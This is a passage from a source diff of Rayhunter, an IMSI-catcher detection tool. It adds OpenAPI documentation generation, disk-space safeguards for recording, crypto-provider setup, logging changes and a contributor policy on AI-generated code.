- files_changed
permissions:
contents: write
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
persist-credentials: false
- uses: dtolnay/rust-toolchain@stable
with:
targets: armv7-unknown-linux-musleabihf
- uses: Swatinem/rust-cache@v2
- name: Build rayhunter-daemon openapi docs
run: |
mkdir -p daemon/web/build
touch daemon/web/build/{favicon.png,index.html.gz,rayhunter_orca_only.png,rayhunter_text.png}
cargo run --bin gen_api --features apidocs -- ./rayhunter-openapi.json
- name: Make swagger folder
run: |
mkdir api-docs
mv doc/swagger-ui.html api-docs/index.html
mv rayhunter-openapi.json api-docs/
- uses: actions/upload-artifact@v4
with:
name: api-docs
path: api-docs
github_pages_publish:
name: Upload new documentation to Github Pages
if: ${{ github.ref == 'refs/heads/main' }}
permissions:
pages: write
contents: write
id-token: write
needs:
- mdbook_build
- openapi_build
runs-on: ubuntu-latest
steps:
- name: Setup Pages
uses: actions/configure-pages@v4
- uses: actions/download-artifact@v4
- name: Organize pages into directory
run: cp -a api-docs book/
- name: Upload pages
uses: actions/upload-pages-artifact@v3
with:
path: book
- name: Deploy Github Pages
uses: actions/deploy-pages@v4

View File

@@ -58,8 +58,18 @@ Otherwise:
manually test them. Our test coverage isn't great, but as new features are
added we are trying to prevent it from becoming worse.
- Please keep your contributions to less than approximately 400 lines of code not counting tests, (going slightly over is fine, we aren't dogmatic about it.) This is because we are not able to give quality code review to contributions larger than that and risk introducing bugs into the system. [There was a study showing 400 LOC is the max most humans can handle.](https://smartbear.com/learn/code-review/best-practices-for-peer-code-review/)
If you have any questions [feel free to open a discussion or chat with us on Mattermost.](https://efforg.github.io/rayhunter/support-feedback-community.html)
### Policy regarding AI-generated contributions:
- Please refrain from submissions that you haven't thoroughly understood, reviewed, and tested.
- Please disclose if your contribution was AI-generated
- Descriptions and comments should be made by you
You can read our [full policy](https://www.eff.org/about/opportunities/volunteer/coding-with-eff) and some writing on [our motivations](https://www.eff.org/deeplinks/2026/02/effs-policy-llm-assisted-contributions-our-open-source-projects).
## Making releases
This one is for maintainers of Rayhunter.

553
Cargo.lock generated

File diff suppressed because it is too large Load Diff

View File

@@ -6,3 +6,4 @@ title = "Rayhunter - An IMSI Catcher Catcher"
[output.html]
edit-url-template = "https://github.com/efforg/rayhunter/edit/main/{path}"
additional-css = ["doc/custom.css"]

View File

@@ -1,6 +1,6 @@
[package]
name = "rayhunter-check"
version = "0.9.0"
version = "0.10.2"
edition = "2024"
[dependencies]
@@ -10,5 +10,4 @@ log = "0.4.20"
tokio = { version = "1.44.2", default-features = false, features = ["fs", "signal", "process", "rt-multi-thread"] }
pcap-file-tokio = "0.1.0"
clap = { version = "4.5.2", features = ["derive"] }
simple_logger = "5.0.0"
walkdir = "2.5.0"

View File

@@ -177,14 +177,7 @@ async fn main() {
} else {
log::LevelFilter::Info
};
simple_logger::SimpleLogger::new()
.with_colors(true)
.without_timestamps()
.with_level(level)
//Filter out a stupid massive amount of uneccesary warnings from hampi about undecoded extensions
.with_module_level("asn1_codecs", log::LevelFilter::Error)
.init()
.unwrap();
rayhunter::init_logging(level);
let harness = Harness::new_with_config(&AnalyzerConfig::default());
info!("Analyzers:");

View File

@@ -1,13 +1,23 @@
[package]
name = "rayhunter-daemon"
version = "0.9.0"
version = "0.10.2"
edition = "2024"
rust-version = "1.88.0"
[lib]
name = "rayhunter_daemon"
path = "src/lib.rs"
[[bin]]
name = "gen_api"
path = "src/bin/gen_api.rs"
required-features = ["apidocs"]
[features]
default = ["rustcrypto-tls"]
rustcrypto-tls = ["reqwest/rustls-tls-webpki-roots-no-provider", "dep:rustls-rustcrypto"]
ring-tls = ["reqwest/rustls-tls-webpki-roots"]
pq-tls = ["reqwest/rustls-tls-webpki-roots-no-provider", "dep:rustls-post-quantum"]
apidocs = ["dep:utoipa"]
[dependencies]
rayhunter = { path = "../lib" }
@@ -18,7 +28,6 @@ axum = { version = "0.8", default-features = false, features = ["http1", "tokio"
thiserror = "1.0.52"
libc = "0.2.150"
log = "0.4.20"
env_logger = { version = "0.11", default-features = false }
tokio-util = { version = "0.7.10", features = ["rt", "io", "compat"] }
futures-macro = "0.3.30"
include_dir = "0.7.3"
@@ -27,9 +36,11 @@ tokio-stream = { version = "0.1.14", default-features = false, features = ["io-u
futures = { version = "0.3.30", default-features = false }
serde_json = "1.0.114"
image = { version = "0.25.1", default-features = false, features = ["png", "gif"] }
tempfile = "3.10.1"
tempfile = "3.10.2"
async_zip = { version = "0.0.17", features = ["tokio"] }
anyhow = "1.0.98"
reqwest = { version = "0.12.20", default-features = false }
rustls-rustcrypto = { version = "0.0.2-alpha", optional = true }
rustls-post-quantum = { version = "0.2.4", optional = true }
async-trait = "0.1.88"
utoipa = { version = "5.4.0", optional = true }

View File

@@ -77,10 +77,15 @@ impl AnalysisWriter {
}
}
/// The system status relating to QMDL file analysis
#[derive(Debug, Serialize, Clone)]
#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
pub struct AnalysisStatus {
/// The vector array of queued files
queued: Vec<String>,
/// The file currently being analyzed
running: Option<String>,
/// The vector array of finished files
finished: Vec<String>,
}
@@ -215,6 +220,16 @@ pub fn run_analysis_thread(
});
}
#[cfg_attr(feature = "apidocs", utoipa::path(
get,
path = "/api/analysis",
tag = "Recordings",
responses(
(status = StatusCode::OK, description = "Success", body = AnalysisStatus)
),
summary = "Analysis status",
description = "Show analysis status for all QMDL files."
))]
pub async fn get_analysis_status(
State(state): State<Arc<ServerState>>,
) -> Result<Json<AnalysisStatus>, (StatusCode, String)> {
@@ -231,6 +246,20 @@ fn queue_qmdl(name: &str, analysis_status: &mut RwLockWriteGuard<AnalysisStatus>
true
}
#[cfg_attr(feature = "apidocs", utoipa::path(
post,
path = "/api/analysis/{name}",
tag = "Recordings",
responses(
(status = StatusCode::ACCEPTED, description = "Success"),
(status = StatusCode::INTERNAL_SERVER_ERROR, description = "Unable to queue analysis file")
),
params(
("name" = String, Path, description = "QMDL file to analyze")
),
summary = "Start analysis",
description = "Begin analysis of QMDL file {name}."
))]
pub async fn start_analysis(
State(state): State<Arc<ServerState>>,
Path(qmdl_name): Path<String>,

View File

@@ -1,6 +1,6 @@
use std::{path::Path, time::Duration};
use log::{error, info};
use log::{info, warn};
use rayhunter::Device;
use serde::Serialize;
use tokio::select;
@@ -18,9 +18,13 @@ pub mod wingtech;
const LOW_BATTERY_LEVEL: u8 = 10;
/// Device battery information
#[derive(Clone, Copy, PartialEq, Debug, Serialize)]
#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
pub struct BatteryState {
/// The current level in percentage of the device battery
level: u8,
/// A boolean indicating whether the battery is currently being charged
is_plugged_in: bool,
}
@@ -66,11 +70,11 @@ pub fn run_battery_notification_worker(
// Don't send a notification initially if the device starts at a low battery level.
let mut triggered = match get_battery_status(&device).await {
Err(RayhunterError::FunctionNotSupportedForDeviceError) => {
info!("Battery level function not supported for device");
false
info!("Battery status not supported for this device, disabling battery notifications");
return;
}
Err(e) => {
error!("Failed to get battery status: {e}");
warn!("Failed to get battery status: {e}");
true
}
Ok(status) => status.level <= LOW_BATTERY_LEVEL,
@@ -83,8 +87,12 @@ pub fn run_battery_notification_worker(
}
let status = match get_battery_status(&device).await {
Err(RayhunterError::FunctionNotSupportedForDeviceError) => {
info!("Battery status not supported for this device, disabling battery notifications");
break;
}
Err(e) => {
error!("Failed to get battery status: {e}");
warn!("Failed to get battery status: {e}");
continue;
}
Ok(status) => status,

12
daemon/src/bin/gen_api.rs Normal file
View File

@@ -0,0 +1,12 @@
use std::{env, fs};
fn main() {
let content = rayhunter_daemon::ApiDocs::generate();
let mut filename = "openapi.json".to_string();
let args: Vec<String> = env::args().collect();
if args.len() > 1 {
filename = args[1].to_string();
}
fs::write(filename, content).unwrap();
}

View File

@@ -7,19 +7,33 @@ use rayhunter::analysis::analyzer::AnalyzerConfig;
use crate::error::RayhunterError;
use crate::notifications::NotificationType;
/// The structure of a valid rayhunter configuration
#[derive(Debug, Clone, Deserialize, Serialize)]
#[serde(default)]
#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
pub struct Config {
/// Path to store QMDL files
pub qmdl_store_path: String,
/// Listening port
pub port: u16,
/// Debug mode
pub debug_mode: bool,
/// Internal device name
pub device: Device,
/// UI level
pub ui_level: u8,
/// Colorblind mode
pub colorblind_mode: bool,
/// Key input mode
pub key_input_mode: u8,
/// ntfy.sh URL
pub ntfy_url: Option<String>,
/// Vector containing the types of enabled notifications
pub enabled_notifications: Vec<NotificationType>,
/// Vector containing the list of enabled analyzers
pub analyzers: AnalyzerConfig,
pub min_space_to_start_recording_mb: u64,
pub min_space_to_continue_recording_mb: u64,
}
impl Default for Config {
@@ -35,6 +49,8 @@ impl Default for Config {
analyzers: AnalyzerConfig::default(),
ntfy_url: None,
enabled_notifications: vec![NotificationType::Warning, NotificationType::LowBattery],
min_space_to_start_recording_mb: 1,
min_space_to_continue_recording_mb: 1,
}
}
}

View File

@@ -0,0 +1,23 @@
use std::sync::Once;
static INSTALL: Once = Once::new();
/// Install the default rustls `CryptoProvider` for the current process.
///
/// This is idempotent so that it's easier to use in tests, but also panics loudly if the
/// initialization fails.
pub fn install_default() {
// Crypto providers fail if they get initialized multiple times, but we don't want to just
// ignore all errors, hence the use of once.
INSTALL.call_once(|| {
#[cfg(feature = "rustcrypto-tls")]
rustls_rustcrypto::provider()
.install_default()
.expect("failed to install rustcrypto crypto provider");
#[cfg(feature = "pq-tls")]
rustls_post_quantum::provider()
.install_default()
.expect("failed to install aws-lc-rs post-quantum crypto provider");
});
}

View File

@@ -17,6 +17,8 @@ use tokio::sync::{RwLock, oneshot};
use tokio_stream::wrappers::LinesStream;
use tokio_util::task::TaskTracker;
#[cfg(feature = "apidocs")]
use rayhunter::analysis::analyzer::ReportMetadata;
use rayhunter::analysis::analyzer::{AnalysisLineNormalizer, AnalyzerConfig, EventType};
use rayhunter::diag::{DataType, MessagesContainer};
use rayhunter::diag_device::DiagDevice;
@@ -27,10 +29,15 @@ use crate::display;
use crate::notifications::{Notification, NotificationType};
use crate::qmdl_store::{RecordingStore, RecordingStoreError};
use crate::server::ServerState;
use crate::stats::DiskStats;
const DISK_CHECK_BYTES_INTERVAL: usize = 256 * 1024;
pub enum DiagDeviceCtrlMessage {
StopRecording,
StartRecording,
StartRecording {
response_tx: Option<oneshot::Sender<Result<(), String>>>,
},
DeleteEntry {
name: String,
response_tx: oneshot::Sender<Result<(), RecordingStoreError>>,
@@ -46,8 +53,12 @@ pub struct DiagTask {
analysis_sender: Sender<AnalysisCtrlMessage>,
analyzer_config: AnalyzerConfig,
notification_channel: tokio::sync::mpsc::Sender<Notification>,
min_space_to_start_mb: u64,
min_space_to_continue_mb: u64,
state: DiagState,
max_type_seen: EventType,
bytes_since_space_check: usize,
low_space_warned: bool,
}
enum DiagState {
@@ -58,35 +69,99 @@ enum DiagState {
Stopped,
}
enum DiskSpaceCheck {
Ok(u64),
Warning(u64),
Critical(u64),
Failed,
}
fn check_disk_space(path: &std::path::Path, warning_mb: u64, critical_mb: u64) -> DiskSpaceCheck {
match DiskStats::new(path.to_str().unwrap()) {
Ok(stats) => {
let available_mb = stats.available_bytes.unwrap_or(0) / 1024 / 1024;
if available_mb < critical_mb {
DiskSpaceCheck::Critical(available_mb)
} else if available_mb < warning_mb {
DiskSpaceCheck::Warning(available_mb)
} else {
DiskSpaceCheck::Ok(available_mb)
}
}
Err(e) => {
warn!("Failed to check disk space: {e}");
DiskSpaceCheck::Failed
}
}
}
impl DiagTask {
fn new(
ui_update_sender: Sender<display::DisplayState>,
analysis_sender: Sender<AnalysisCtrlMessage>,
analyzer_config: AnalyzerConfig,
notification_channel: tokio::sync::mpsc::Sender<Notification>,
min_space_to_start_mb: u64,
min_space_to_continue_mb: u64,
) -> Self {
Self {
ui_update_sender,
analysis_sender,
analyzer_config,
notification_channel,
min_space_to_start_mb,
min_space_to_continue_mb,
state: DiagState::Stopped,
max_type_seen: EventType::Informational,
bytes_since_space_check: 0,
low_space_warned: false,
}
}
/// Start recording
async fn start(&mut self, qmdl_store: &mut RecordingStore) {
let (qmdl_file, analysis_file) = qmdl_store
.new_entry()
.await
.expect("failed creating QMDL file entry");
/// Start recording, returning an error if disk space is too low.
async fn start(&mut self, qmdl_store: &mut RecordingStore) -> Result<(), String> {
self.max_type_seen = EventType::Informational;
self.bytes_since_space_check = 0;
self.low_space_warned = false;
match check_disk_space(
&qmdl_store.path,
self.min_space_to_start_mb,
self.min_space_to_continue_mb,
) {
DiskSpaceCheck::Critical(mb) | DiskSpaceCheck::Warning(mb) => {
let msg = format!(
"Insufficient disk space: {}MB available, {}MB required",
mb, self.min_space_to_start_mb
);
error!("{msg}");
return Err(msg);
}
DiskSpaceCheck::Ok(mb) => {
info!("Starting recording with {}MB disk space available", mb);
}
DiskSpaceCheck::Failed => {}
}
let (qmdl_file, analysis_file) = match qmdl_store.new_entry().await {
Ok(files) => files,
Err(e) => {
let msg = format!("failed creating QMDL file entry: {e}");
error!("{msg}");
return Err(msg);
}
};
self.stop_current_recording().await;
let qmdl_writer = QmdlWriter::new(qmdl_file);
let analysis_writer = AnalysisWriter::new(analysis_file, &self.analyzer_config)
.await
.map(Box::new)
.expect("failed to write to analysis file");
let analysis_writer = match AnalysisWriter::new(analysis_file, &self.analyzer_config).await
{
Ok(writer) => Box::new(writer),
Err(e) => {
let msg = format!("failed to create analysis writer: {e}");
error!("{msg}");
return Err(msg);
}
};
self.state = DiagState::Recording {
qmdl_writer,
analysis_writer,
@@ -98,11 +173,17 @@ impl DiagTask {
{
warn!("couldn't send ui update message: {e}");
}
Ok(())
}
/// Stop recording
async fn stop(&mut self, qmdl_store: &mut RecordingStore) {
/// Stop recording, optionally annotating the entry with a reason.
async fn stop(&mut self, qmdl_store: &mut RecordingStore, reason: Option<String>) {
self.stop_current_recording().await;
if let Some(reason) = reason
&& let Err(e) = qmdl_store.set_current_stop_reason(reason).await
{
warn!("couldn't set stop reason: {e}");
}
if let Some((_, entry)) = qmdl_store.get_current_entry()
&& let Err(e) = self
.analysis_sender
@@ -131,7 +212,7 @@ impl DiagTask {
name: &str,
) -> Result<(), RecordingStoreError> {
if qmdl_store.is_current_entry(name) {
self.stop(qmdl_store).await;
self.stop(qmdl_store, None).await;
}
let res = qmdl_store.delete_entry(name).await;
if let Err(e) = res.as_ref() {
@@ -144,7 +225,7 @@ impl DiagTask {
&mut self,
qmdl_store: &mut RecordingStore,
) -> Result<(), RecordingStoreError> {
self.stop(qmdl_store).await;
self.stop(qmdl_store, None).await;
let res = qmdl_store.delete_all_entries().await;
if let Err(e) = res.as_ref() {
error!("Error deleting QMDL entries {e}");
@@ -182,10 +263,54 @@ impl DiagTask {
analysis_writer,
} = &mut self.state
{
qmdl_writer
.write_container(&container)
.await
.expect("failed to write to QMDL writer");
if self.bytes_since_space_check >= DISK_CHECK_BYTES_INTERVAL {
self.bytes_since_space_check = 0;
match check_disk_space(
&qmdl_store.path,
self.min_space_to_start_mb,
self.min_space_to_continue_mb,
) {
DiskSpaceCheck::Critical(mb) => {
let reason = format!(
"Disk space critically low ({}MB free), recording stopped automatically",
mb
);
error!("{reason}");
self.notification_channel
.send(Notification::new(
NotificationType::Warning,
reason.clone(),
None,
))
.await
.ok();
self.stop(qmdl_store, Some(reason)).await;
return;
}
DiskSpaceCheck::Warning(mb) if !self.low_space_warned => {
self.low_space_warned = true;
warn!("Disk space low: {}MB remaining", mb);
self.notification_channel
.send(Notification::new(
NotificationType::Warning,
format!("Disk space low: {}MB free", mb),
Some(Duration::from_secs(30)),
))
.await
.ok();
}
_ => {}
}
}
if let Err(e) = qmdl_writer.write_container(&container).await {
let reason = format!("failed to write to QMDL (disk full?): {e}");
error!("{reason}");
self.stop(qmdl_store, Some(reason)).await;
return;
}
debug!(
"total QMDL bytes written: {}, updating manifest...",
qmdl_writer.total_written
@@ -193,15 +318,25 @@ impl DiagTask {
let index = qmdl_store
.current_entry
.expect("DiagDevice had qmdl_writer, but QmdlStore didn't have current entry???");
qmdl_store
if let Err(e) = qmdl_store
.update_entry_qmdl_size(index, qmdl_writer.total_written)
.await
.expect("failed to update qmdl file size");
{
let reason = format!("failed to update manifest (disk full?): {e}");
error!("{reason}");
self.stop(qmdl_store, Some(reason)).await;
return;
}
debug!("done!");
let max_type = analysis_writer
.analyze(container)
.await
.expect("failed to analyze container");
let container_bytes: usize = container.messages.iter().map(|m| m.data.len()).sum();
self.bytes_since_space_check += container_bytes;
let max_type = match analysis_writer.analyze(container).await {
Ok(t) => t,
Err(e) => {
warn!("failed to analyze container: {e}");
EventType::Informational
}
};
if max_type > EventType::Informational {
info!("a heuristic triggered on this run!");
@@ -243,25 +378,30 @@ pub fn run_diag_read_thread(
analysis_sender: Sender<AnalysisCtrlMessage>,
analyzer_config: AnalyzerConfig,
notification_channel: tokio::sync::mpsc::Sender<Notification>,
min_space_to_start_mb: u64,
min_space_to_continue_mb: u64,
) {
task_tracker.spawn(async move {
let mut diag_stream = pin!(dev.as_stream().into_stream());
let mut diag_task = DiagTask::new(ui_update_sender, analysis_sender, analyzer_config, notification_channel);
let mut diag_task = DiagTask::new(ui_update_sender, analysis_sender, analyzer_config, notification_channel, min_space_to_start_mb, min_space_to_continue_mb);
qmdl_file_tx
.send(DiagDeviceCtrlMessage::StartRecording)
.send(DiagDeviceCtrlMessage::StartRecording { response_tx: None })
.await
.unwrap();
loop {
tokio::select! {
msg = qmdl_file_rx.recv() => {
match msg {
Some(DiagDeviceCtrlMessage::StartRecording) => {
Some(DiagDeviceCtrlMessage::StartRecording { response_tx }) => {
let mut qmdl_store = qmdl_store_lock.write().await;
diag_task.start(qmdl_store.deref_mut()).await;
let result = diag_task.start(qmdl_store.deref_mut()).await;
if let Some(tx) = response_tx {
tx.send(result).ok();
}
},
Some(DiagDeviceCtrlMessage::StopRecording) => {
let mut qmdl_store = qmdl_store_lock.write().await;
diag_task.stop(qmdl_store.deref_mut()).await;
diag_task.stop(qmdl_store.deref_mut(), None).await;
},
// None means all the Senders have been dropped, so it's
// time to go
@@ -304,6 +444,18 @@ pub fn run_diag_read_thread(
}
/// Start recording API for web thread
#[cfg_attr(feature = "apidocs", utoipa::path(
post,
path = "/api/start-recording",
tag = "Recordings",
responses(
(status = StatusCode::ACCEPTED, description = "Success"),
(status = StatusCode::FORBIDDEN, description = "System is in debug mode"),
(status = StatusCode::INTERNAL_SERVER_ERROR, description = "Recording action unsuccessful")
),
summary = "Start recording",
description = "Begin a new data capture."
))]
pub async fn start_recording(
State(state): State<Arc<ServerState>>,
) -> Result<(StatusCode, String), (StatusCode, String)> {
@@ -311,9 +463,12 @@ pub async fn start_recording(
return Err((StatusCode::FORBIDDEN, "server is in debug mode".to_string()));
}
let (response_tx, response_rx) = oneshot::channel();
state
.diag_device_ctrl_sender
.send(DiagDeviceCtrlMessage::StartRecording)
.send(DiagDeviceCtrlMessage::StartRecording {
response_tx: Some(response_tx),
})
.await
.map_err(|e| {
(
@@ -322,10 +477,29 @@ pub async fn start_recording(
)
})?;
Ok((StatusCode::ACCEPTED, "ok".to_string()))
match response_rx.await {
Ok(Ok(())) => Ok((StatusCode::ACCEPTED, "ok".to_string())),
Ok(Err(reason)) => Err((StatusCode::INSUFFICIENT_STORAGE, reason)),
Err(e) => Err((
StatusCode::INTERNAL_SERVER_ERROR,
format!("failed to receive start recording response: {e}"),
)),
}
}
/// Stop recording API for web thread
#[cfg_attr(feature = "apidocs", utoipa::path(
post,
path = "/api/stop-recording",
tag = "Recordings",
responses(
(status = StatusCode::ACCEPTED, description = "Success"),
(status = StatusCode::FORBIDDEN, description = "System is in debug mode"),
(status = StatusCode::INTERNAL_SERVER_ERROR, description = "Recording action unsuccessful")
),
summary = "Stop recording",
description = "Stop current data capture."
))]
pub async fn stop_recording(
State(state): State<Arc<ServerState>>,
) -> Result<(StatusCode, String), (StatusCode, String)> {
@@ -345,6 +519,22 @@ pub async fn stop_recording(
Ok((StatusCode::ACCEPTED, "ok".to_string()))
}
#[cfg_attr(feature = "apidocs", utoipa::path(
post,
path = "/api/delete-recording/{name}",
tag = "Recordings",
responses(
(status = StatusCode::ACCEPTED, description = "Success"),
(status = StatusCode::FORBIDDEN, description = "System is in debug mode"),
(status = StatusCode::INTERNAL_SERVER_ERROR, description = "Delete action unsuccessful"),
(status = StatusCode::BAD_REQUEST, description = "Bad recording name or no such recording")
),
params(
("name" = String, Path, description = "QMDL file to delete")
),
summary = "Delete recording",
description = "Remove data capture file named {name}."
))]
pub async fn delete_recording(
State(state): State<Arc<ServerState>>,
Path(qmdl_name): Path<String>,
@@ -384,6 +574,18 @@ pub async fn delete_recording(
}
}
#[cfg_attr(feature = "apidocs", utoipa::path(
post,
path = "/api/delete-all-recordings",
tag = "Recordings",
responses(
(status = StatusCode::ACCEPTED, description = "Success"),
(status = StatusCode::FORBIDDEN, description = "System is in debug mode"),
(status = StatusCode::INTERNAL_SERVER_ERROR, description = "Delete action unsuccessful")
),
summary = "Delete all recordings",
description = "Remove all saved data capture files."
))]
pub async fn delete_all_recordings(
State(state): State<Arc<ServerState>>,
) -> Result<(StatusCode, String), (StatusCode, String)> {
@@ -415,6 +617,21 @@ pub async fn delete_all_recordings(
}
}
#[cfg_attr(feature = "apidocs", utoipa::path(
get,
path = "/api/analysis-report/{name}",
tag = "Recordings",
responses(
(status = StatusCode::OK, description = "Success", body = ReportMetadata, content_type = "application/x-ndjson"),
(status = StatusCode::SERVICE_UNAVAILABLE, description = "No QMDL files available; start a new recording."),
(status = StatusCode::NOT_FOUND, description = "File {name} not found")
),
params(
("name" = String, Path, description = "QMDL file to analyze")
),
summary = "Analysis report",
description = "Download processed analysis report for QMDL file {name}, as well as the types (and versions) of analyzers used."
))]
pub async fn get_analysis_report(
State(state): State<Arc<ServerState>>,
Path(qmdl_name): Path<String>,

View File

@@ -102,7 +102,7 @@ pub trait GenericFramebuffer: Send + 'static {
resized_img = img;
}
let img_rgba8 = resized_img.as_rgba8().unwrap();
let mut buf = Vec::new();
let mut buf = Vec::with_capacity((height * width).try_into().unwrap());
for y in 0..height {
for x in 0..width {
let px = img_rgba8.get_pixel(x, y);
@@ -145,7 +145,7 @@ pub trait GenericFramebuffer: Send + 'static {
async fn draw_patterned_line(&mut self, color: Color, height: u32, pattern: LinePattern) {
let width = self.dimensions().width;
let mut buffer = Vec::new();
let mut buffer = Vec::with_capacity((height * width).try_into().unwrap());
for _row in 0..height {
for col in 0..width {
@@ -215,9 +215,13 @@ pub fn update_ui(
Err(e) => error!("error receiving framebuffer update message: {e}"),
}
let mut status_bar_height = 2;
match display_level {
2 => fb.draw_gif(img.unwrap()).await,
3 => fb.draw_img(img.unwrap()).await,
4 => {
status_bar_height = fb.dimensions().height;
}
128 => {
fb.draw_line(Color::Cyan, 128).await;
fb.draw_line(Color::Pink, 102).await;
@@ -225,12 +229,13 @@ pub fn update_ui(
fb.draw_line(Color::Pink, 50).await;
fb.draw_line(Color::Cyan, 25).await;
}
// this branch id for ui_level 1, which is also the default if an
// this branch is for ui_level 1, which is also the default if an
// unknown value is used
_ => {}
};
let (color, pattern) = display_style;
fb.draw_patterned_line(color, 2, pattern).await;
fb.draw_patterned_line(color, status_bar_height, pattern)
.await;
tokio::time::sleep(Duration::from_millis(REFRESH_RATE)).await;
}
});

View File

@@ -12,7 +12,9 @@ pub mod tplink_onebit;
pub mod uz801;
pub mod wingtech;
/// A list of available display states
#[derive(Clone, Copy, PartialEq, Serialize, Deserialize)]
#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
pub enum DisplayState {
/// We're recording but no warning has been found yet.
Recording,

View File

@@ -23,7 +23,7 @@ impl GenericFramebuffer for Framebuffer {
}
async fn write_buffer(&mut self, buffer: Vec<(u8, u8, u8)>) {
let mut raw_buffer = Vec::new();
let mut raw_buffer = Vec::with_capacity(buffer.len() * 2);
for (r, g, b) in buffer {
let mut rgb565: u16 = (r as u16 & 0b11111000) << 8;
rgb565 |= (g as u16 & 0b11111100) << 3;

View File

@@ -50,7 +50,7 @@ impl GenericFramebuffer for Framebuffer {
rop: 0,
};
let mut raw_buffer = Vec::new();
let mut raw_buffer = Vec::with_capacity(buffer.len() * 2);
for (r, g, b) in buffer {
let mut rgb565: u16 = (r as u16 & 0b11111000) << 8;
rgb565 |= (g as u16 & 0b11111100) << 3;

View File

@@ -28,7 +28,7 @@ impl GenericFramebuffer for Framebuffer {
}
async fn write_buffer(&mut self, buffer: Vec<(u8, u8, u8)>) {
let mut raw_buffer = Vec::new();
let mut raw_buffer = Vec::with_capacity(buffer.len() * 2);
for (r, g, b) in buffer {
let mut rgb565: u16 = (r as u16 & 0b11111000) << 8;
rgb565 |= (g as u16 & 0b11111100) << 3;

View File

@@ -81,8 +81,9 @@ pub fn run_key_input_thread(
{
error!("Failed to send StopRecording: {e}");
}
if let Err(e) =
diag_tx.send(DiagDeviceCtrlMessage::StartRecording).await
if let Err(e) = diag_tx
.send(DiagDeviceCtrlMessage::StartRecording { response_tx: None })
.await
{
error!("Failed to send StartRecording: {e}");
}

72
daemon/src/lib.rs Normal file
View File

@@ -0,0 +1,72 @@
pub mod analysis;
pub mod battery;
pub mod config;
pub mod crypto_provider;
pub mod diag;
pub mod display;
pub mod error;
pub mod key_input;
pub mod notifications;
pub mod pcap;
pub mod qmdl_store;
pub mod server;
pub mod stats;
#[cfg(feature = "apidocs")]
use utoipa::OpenApi;
// Add anotated paths to api docs
#[cfg(feature = "apidocs")]
#[derive(OpenApi)]
#[openapi(
info(
description = "OpenAPI documentation for Rayhunter daemon\n\n**Note:** API endpoints are subject to change as needs arise, though we will try to keep them as stable as possible and notify about breaking changes in the changelogs for new versions.\n\nNo endpoints require any authentication. To use the in-browser execution on this page, you may need to disable CORS temporarily for your browser.",
license(
name = "GNU General Public License v3.0",
url = "https://github.com/EFForg/rayhunter/blob/main/LICENSE"
)
),
paths(
pcap::get_pcap,
server::get_qmdl,
server::get_zip,
stats::get_system_stats,
stats::get_qmdl_manifest,
stats::get_log,
diag::start_recording,
diag::stop_recording,
diag::delete_recording,
diag::delete_all_recordings,
diag::get_analysis_report,
analysis::get_analysis_status,
analysis::start_analysis,
server::get_config,
server::set_config,
server::test_notification,
server::get_time,
server::set_time_offset,
server::debug_set_display_state
),
servers(
(
url = "http://localhost:8080",
description = "ADB port bridge"
),
(
url = "http://192.168.1.1:8080",
description = "Orbic WiFi GUI"
),
(
url = "http://192.168.0.1:8080",
description = "TPLink WiFi GUI"
),
)
)]
pub struct ApiDocs;
#[cfg(feature = "apidocs")]
impl ApiDocs {
pub fn generate() -> String {
ApiDocs::openapi().to_pretty_json().unwrap()
}
}

View File

@@ -1,6 +1,7 @@
mod analysis;
mod battery;
mod config;
mod crypto_provider;
mod diag;
mod display;
mod error;
@@ -22,7 +23,8 @@ use crate::notifications::{NotificationService, run_notification_worker};
use crate::pcap::get_pcap;
use crate::qmdl_store::RecordingStore;
use crate::server::{
ServerState, debug_set_display_state, get_config, get_qmdl, get_zip, serve_static, set_config,
ServerState, debug_set_display_state, get_config, get_qmdl, get_time, get_zip, serve_static,
set_config, set_time_offset, test_notification,
};
use crate::stats::{get_qmdl_manifest, get_system_stats};
@@ -68,6 +70,9 @@ fn get_router() -> AppRouter {
.route("/api/analysis/{name}", post(start_analysis))
.route("/api/config", get(get_config))
.route("/api/config", post(set_config))
.route("/api/test-notification", post(test_notification))
.route("/api/time", get(get_time))
.route("/api/time-offset", post(set_time_offset))
.route("/api/debug/display-state", post(debug_set_display_state))
.route("/", get(|| async { Redirect::permanent("/index.html") }))
.route("/{*path}", get(serve_static))
@@ -167,14 +172,9 @@ fn run_shutdown_thread(
#[tokio::main(flavor = "current_thread")]
async fn main() -> Result<(), RayhunterError> {
env_logger::init();
rayhunter::init_logging(log::LevelFilter::Info);
#[cfg(feature = "rustcrypto-tls")]
{
rustls_rustcrypto::provider()
.install_default()
.expect("Couldn't install rustcrypto provider");
}
crate::crypto_provider::install_default();
let args = parse_args();
@@ -203,6 +203,10 @@ async fn run_with_config(
let (analysis_tx, analysis_rx) = mpsc::channel::<AnalysisCtrlMessage>(5);
let restart_token = CancellationToken::new();
let shutdown_token = restart_token.child_token();
// Ensure shutdown_token is cancelled when this function exits for any
// reason (e.g. diag device init failure), so all spawned tasks get
// signaled to stop.
let _shutdown_guard = shutdown_token.clone().drop_guard();
let notification_service = NotificationService::new(config.ntfy_url.clone());
@@ -226,6 +230,8 @@ async fn run_with_config(
analysis_tx.clone(),
config.analyzers.clone(),
notification_service.new_handler(),
config.min_space_to_start_recording_mb,
config.min_space_to_continue_recording_mb,
);
info!("Starting UI");

View File

@@ -6,10 +6,23 @@ use std::{
use log::error;
use serde::{Deserialize, Serialize};
use thiserror::Error;
use tokio::sync::mpsc::{self, error::TryRecvError};
use tokio_util::task::TaskTracker;
pub const DEFAULT_NOTIFICATION_TIMEOUT: u64 = 10; //seconds
#[derive(Error, Debug)]
pub enum NotificationError {
#[error("HTTP request failed: {0}")]
RequestFailed(#[from] reqwest::Error),
#[error("Server returned error status: {0}")]
HttpError(reqwest::StatusCode),
}
/// Enum of valid notification types
#[derive(Hash, Eq, PartialEq, Debug, Clone, Serialize, Deserialize)]
#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
pub enum NotificationType {
Warning,
LowBattery,
@@ -45,6 +58,7 @@ struct NotificationStatus {
pub struct NotificationService {
url: Option<String>,
timeout: u64,
tx: mpsc::Sender<Notification>,
rx: mpsc::Receiver<Notification>,
}
@@ -52,7 +66,12 @@ pub struct NotificationService {
impl NotificationService {
pub fn new(url: Option<String>) -> Self {
let (tx, rx) = mpsc::channel(10);
Self { url, tx, rx }
Self {
url,
